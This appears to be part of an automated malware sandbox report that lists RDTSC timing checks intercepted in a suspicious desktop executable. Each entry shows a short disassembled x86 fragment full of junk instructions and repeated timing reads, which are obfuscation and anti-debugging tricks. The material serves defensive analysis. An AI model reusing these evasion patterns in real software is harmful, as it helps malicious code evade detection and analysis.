Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 688DA2 second address: 688DC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 688DC5 second address: 508A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 mov di, ax 0x0000000b push dword ptr [ebp+122D0D5Dh] 0x00000011 mov di, bx 0x00000014 call dword ptr [ebp+122D1933h] 0x0000001a pushad 0x0000001b jno 00007F333123881Ch 0x00000021 xor eax, eax 0x00000023 mov dword ptr [ebp+122D2B78h], ebx 0x00000029 mov edx, dword ptr [esp+28h] 0x0000002d jmp 00007F3331238825h 0x00000032 mov dword ptr [ebp+122D37BEh], eax 0x00000038 pushad 0x00000039 mov dx, 21D2h 0x0000003d mov eax, dword ptr [ebp+122D3676h] 0x00000043 popad 0x00000044 mov esi, 0000003Ch 0x00000049 mov dword ptr [ebp+122D2B78h], ecx 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 jmp 00007F3331238828h 0x00000058 lodsw 0x0000005a mov dword ptr [ebp+122D2B78h], edx 0x00000060 add eax, dword ptr [esp+24h] 0x00000064 clc 0x00000065 mov ebx, dword ptr [esp+24h] 0x00000069 mov dword ptr [ebp+122D2B78h], ebx 0x0000006f nop 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F3331238824h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 688E4E second address: 688F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xor dword ptr [esp], 7269F0E5h 0x0000000d push ebx 0x0000000e jmp 00007F333124C7E9h 0x00000013 pop ecx 0x00000014 mov dword ptr [ebp+122D214Ch], edx 0x0000001a push 00000003h 0x0000001c jmp 00007F333124C7DEh 0x00000021 push 00000000h 0x00000023 mov dword ptr [ebp+122D2057h], edi 0x00000029 push 00000003h 0x0000002b or edi, 3F62A8B6h 0x00000031 push A106EC69h 0x00000036 pushad 0x00000037 jmp 00007F333124C7E3h 0x0000003c jmp 00007F333124C7E6h 0x00000041 popad 0x00000042 xor dword ptr [esp], 6106EC69h 0x00000049 movsx edi, di 0x0000004c lea ebx, dword ptr [ebp+12453CB7h] 0x00000052 push 00000000h 0x00000054 push ebx 0x00000055 call 00007F333124C7D8h 0x0000005a pop ebx 0x0000005b mov dword ptr [esp+04h], ebx 0x0000005f add dword ptr [esp+04h], 00000015h 0x00000067 inc ebx 0x00000068 push ebx 0x00000069 ret 0x0000006a pop ebx 0x0000006b ret 0x0000006c jmp 00007F333124C7E6h 0x00000071 push eax 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 688FCF second address: 688FDD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F3331238816h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 688FDD second address: 689063 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F333124C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F333124C7D8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 and ecx, dword ptr [ebp+122D287Ch] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F333124C7D8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a call 00007F333124C7E7h 0x0000004f mov di, D583h 0x00000053 pop edx 0x00000054 call 00007F333124C7D9h 0x00000059 pushad 0x0000005a push ecx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 689063 second address: 6890B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007F333123882Bh 0x0000000b jmp 00007F3331238825h 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F3331238823h 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3331238820h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6890B0 second address: 6890BA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F333124C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6890BA second address: 6890C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6890C0 second address: 6890D7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F333124C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6890D7 second address: 6890DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6890DB second address: 6890DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6890DF second address: 689104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3331238828h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 689104 second address: 68916A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F333124C7E1h 0x0000000f push 00000003h 0x00000011 or dword ptr [ebp+122D2009h], edi 0x00000017 call 00007F333124C7DDh 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f mov edi, 2EC4925Eh 0x00000024 push 00000003h 0x00000026 movzx edi, cx 0x00000029 push A43EDC76h 0x0000002e jns 00007F333124C7F4h 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F333124C7E6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 68916A second address: 689185 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 1BC1238Ah 0x0000000d lea ebx, dword ptr [ebp+12453CC0h] 0x00000013 mov esi, ecx 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 689185 second address: 6891AB instructions: 0x00000000 rdtsc 0x00000002 je 00007F333124C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F333124C7DEh 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A9A0F second address: 6A9A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A9A13 second address: 6A9A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F333124C7E4h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A789E second address: 6A78B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F333123881Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A7FB1 second address: 6A7FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F333124C7E8h 0x00000009 jmp 00007F333124C7E9h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A7FED second address: 6A7FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A7FF3 second address: 6A7FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A842B second address: 6A8431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A8431 second address: 6A8437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A85A5 second address: 6A85C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3331238828h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A87A8 second address: 6A87FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E9h 0x00000007 push edi 0x00000008 jmp 00007F333124C7DBh 0x0000000d jmp 00007F333124C7DCh 0x00000012 pop edi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 jmp 00007F333124C7DAh 0x0000001d pushad 0x0000001e popad 0x0000001f pop edx 0x00000020 jmp 00007F333124C7DCh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A87FA second address: 6A87FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6756B9 second address: 6756DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F333124C7E4h 0x00000009 jmp 00007F333124C7DBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A911A second address: 6A9130 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3331238816h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F333123881Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A9130 second address: 6A914B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F333124C7E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A914B second address: 6A9168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3331238827h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A9168 second address: 6A9175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F333124C7D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A9175 second address: 6A917B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A917B second address: 6A9190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop eax 0x0000000d jo 00007F333124C7E2h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A941D second address: 6A9440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 js 00007F3331238816h 0x0000000e jmp 00007F3331238824h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A9440 second address: 6A9468 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F333124C7DEh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A9468 second address: 6A9471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A9471 second address: 6A9477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A9477 second address: 6A9485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A95BE second address: 6A95DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F333124C7DCh 0x0000000b jc 00007F333124C7D6h 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F333124C7DCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6A95DE second address: 6A95E8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F333123881Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ACBDA second address: 6ACBDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ACBDF second address: 6ACBE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B60EB second address: 6B6115 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F333124C7E5h 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F333124C7DBh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B6115 second address: 6B611B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B611B second address: 6B6124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B6124 second address: 6B6144 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F3331238816h 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F333123881Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B5474 second address: 6B548C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 jmp 00007F333124C7DBh 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B548C second address: 6B5490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B561B second address: 6B563D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7DCh 0x00000007 pushad 0x00000008 jmp 00007F333124C7E1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B563D second address: 6B5643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B5C2B second address: 6B5C4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F333124C7D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F333124C7DFh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B5C4A second address: 6B5C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B5C50 second address: 6B5C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B5DAE second address: 6B5DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B6FE3 second address: 6B6FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B6FEC second address: 6B6FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B709A second address: 6B709E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B7408 second address: 6B740E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B74B0 second address: 6B74B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B7E59 second address: 6B7E7B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3331238821h 0x00000008 jmp 00007F333123881Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 js 00007F3331238816h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6B87D4 second address: 6B8838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F333124C7D6h 0x00000009 jmp 00007F333124C7E1h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 pushad 0x00000015 stc 0x00000016 or esi, 42742111h 0x0000001c popad 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F333124C7D8h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 jl 00007F333124C7DEh 0x0000003f push ecx 0x00000040 sbb edi, 39991334h 0x00000046 pop esi 0x00000047 push 00000000h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push edi 0x0000004d pushad 0x0000004e popad 0x0000004f pop edi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BA387 second address: 6BA38B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BA38B second address: 6BA3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov di, 8735h 0x0000000e adc di, E880h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F333124C7D8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f and edi, dword ptr [ebp+122D3776h] 0x00000035 push 00000000h 0x00000037 movsx edi, bx 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push ebx 0x00000040 pop ebx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BA3D6 second address: 6BA3E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BB76C second address: 6BB78B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d js 00007F333124C7D6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BD5B1 second address: 6BD5BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BD5BB second address: 6BD5BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BD5BF second address: 6BD5C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BD5C3 second address: 6BD5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BDB78 second address: 6BDB8C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3331238816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F3331238816h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BDB8C second address: 6BDB90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BE623 second address: 6BE627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BE627 second address: 6BE62B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BE62B second address: 6BE631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6BE631 second address: 6BE636 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
